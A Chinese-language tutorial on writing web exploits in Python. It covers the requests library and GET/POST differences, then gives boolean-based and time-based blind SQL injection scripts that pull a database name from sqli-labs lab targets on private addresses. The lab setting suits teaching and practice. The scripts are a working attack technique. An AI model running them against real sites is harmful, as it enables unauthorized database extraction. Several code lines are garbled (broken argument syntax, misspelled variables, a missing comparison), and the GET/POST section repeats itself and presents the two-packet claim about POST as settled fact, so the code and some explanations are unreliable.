定制EXP漏洞利用之Python实现
以Web漏洞为主
基础知识:
requests模块
requests模块详解
requests是使用Apache2 licensed许可证的HTTP库。
用python编写。
比urllib2模块更简洁。
Request支特HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。
现代,国际化,友好。
requests会自动实现持久连接keep-alive。
基本语法
import requests
res = requests.get("your url");
//获取响应正文
res.text
//获取响应状态码
res.status_code
//获取响应编码
res.encoding
//以二进制方式获取响应正文
res.content
//获取响应头部
res.headers
//获取提交的url
res.url
//获取发送到服务器的头信息
res.request.headers
相关操作
定制头部
1、重新定义User-Agent
import requests
url="http://172.16.132.138/php/test.php"
header = {"User-Agent":"AJEST"}
res = requests.get(url=url;headers=header)
print(res.request.headers)
2、超时
import requests
url="http://172.16.132.138/php/test.php"
try:
res = requests.get(url=url;timeout=2)
print(res.text)
except Exception as e:
print("TimeOut!")
3、get传参
import requests
url = "http://10.10.10.131/cpde/PHP/test/get.php"
getPara = {"name":"AJEST","pwd":"123456"}
res = requests.get(url = url,params = getPara)
print(res.text)
print(res.url)
4、post传参
url = "http://10.10.10.131/cpde/PHP/test/post.php"
postData = {"name":"agest","pwd":"123456"}
res = requests.post(url = url,data = postData)
print(res.text)
5、上传文件
url = "http://172.16.132.138/php/upload/index.php"
upFile = {"up":open("info.php","rb")}
res = requests.post(url = url,files = upFile)
print(res.text)
6、重定向
url = "http://172.16.132.138/php/redirect/index.php"
res = requests.get(url = url)
print(res.text)
print(res.history)
res = requests.get(url =url,allow_redirects = False)
print(res.headers)
print(res.text)
7、cookie
url = "http://172.16.132.138/php/cookie/index.php"
coo = {"name":"ajest"}
res = requests.get(url = url,cookies = coo)
print(res.text)
GET和POST区别
HTTP协议中的两种发送请求的方法,本质上都是在进行TCP连接.
- GET请求和POST请求的区别是什么?
- get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
post请求一般是去提交数据。 - GET请求参数是通过URL进行传递的,所以隐私性,安全性较差,请求的数据长度是有限制的,不同的浏览器和服务器不同,一般限制在 2~8K 之间,更加常见的是 1k 以内;
POST请求的参数包含在请求体body当中。post请求是没有的长度限制。 - GET请求比POST请求更不安全,因为参数直接暴露在URL中,所以,GET请求不能用来传递敏感信息。
- GET请求参数会完整的保留在浏览器的历史记录中,POST请求的参数不会保留。
- GET请求进行url编码(百分号编码),POST请求支持多种编码方式。
- GET请求产生的URL地址是可以被bookmark(添加书签)的,POST请求不可以。
- GET请求在浏览器回退的时候是无害的,POST请求会.再次提交数据。
- GET请求在浏览器中可以被主动cache(缓存),而POST请求不会被缓存,可以手动设置。
- get请求会被保存在浏览器历史记录当中,post不会。get请求可以被收藏为书签,因为参数就是url中,但post不能。它的参数不在url中。
- get请求只能进行url编码(appliacation-x-www-form-urlencoded),post请求支持多种(multipart/form-data等)。
- get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
- 深入区别
GET产生一个TCP数据包。POST产生两个TCP数据包。
复杂的说
对于GET请求,浏览器会把http header和data一起发送出去,服务器响应200,请求成功。
对于POST请求,浏览器先发送header,服务器会响应100(已经收到请求的第一部分,正在等待其余部分),浏览器再次发送data,服务器返回200,请求成功。- 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
GET请求和POST请求都有自己的语义,不能随便混用。
在网络环境好的情况下,发送一次包的时间和发送两次包的时间差可以忽略,在网络环境差的情况下,发送两次包的TCP在验证数据的完整性上,有非常大的优势。
并不是所有的浏览器都会在POST请求中发送两次包。比如:火狐。
- 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
python实现SQL注入
import requests
url = "http://10.10.10.131/sqli-labs-master/Less-8/"
normalHtmlLen = len (requests.get (url=url+"?id=1").text)
print ("The len of HTML: "+str (norma1HtmlLen))
dbNameLen = 0
while True:
dbNameLen_url = url+"?id=1'+and+length (database ()) ="+str (dbNameLen) +"--+"
print (dbNameLen_url)
if len (requests.get (dbName Len_url).text) == normalHtmlLen:
print ("The len of dbName: "+str (dbNameLen))
break
if dbNameLen == 30:
print ("Error!")
break
dbName Len +=1
dbName = ""
for i in range (1, 9) :
for a in string.ascii_lowercase:
dbName_url = url+"?id=1'+and+substr (database (), "+str (i) +", 1) =' "+a+"'--+"
print (dbName_url)
if len (requests.get(dbName_url). text)normalHtmlLen:
dbName += a
print (dbName)
break
import requests
import string
url = "http://10.10.10.131/sqli-labs-master/Less-9/"
def timeOut (url) :
try:
res = requests.get (url, timeout=3)
return res.text
except Exception as e:
return "timeout"
dbNameLen = 0
while True:
dbNameLen +=1
dbNameLenUrl = url+"?id=1'+and+if (length (database ()) ="+str (dbNameLen) +", sleep (5) , 1) --+"
#print (dbNameLenUrl)
if "timeout" in timeOut (dbNameLenUrl):
print ("The Len of dbName: "+str (dbNameLen)) break
if dbNameLen == 30:
print ("Error!")
break
dbName = ""
for i in range (1, dbNameLen+1) :
for char in string. ascii_lowercase:
dbNameUrl = url+"?id=1'+and+if (substr (database (), "+str (i) +", 1) =' "+char+"', sleep (5) , 1) --+"
print (dbNameUrl)
if "timeout" in timeOut (dbNameUrl) :
dbName +=char
print ("The dbName:"+dbName)
break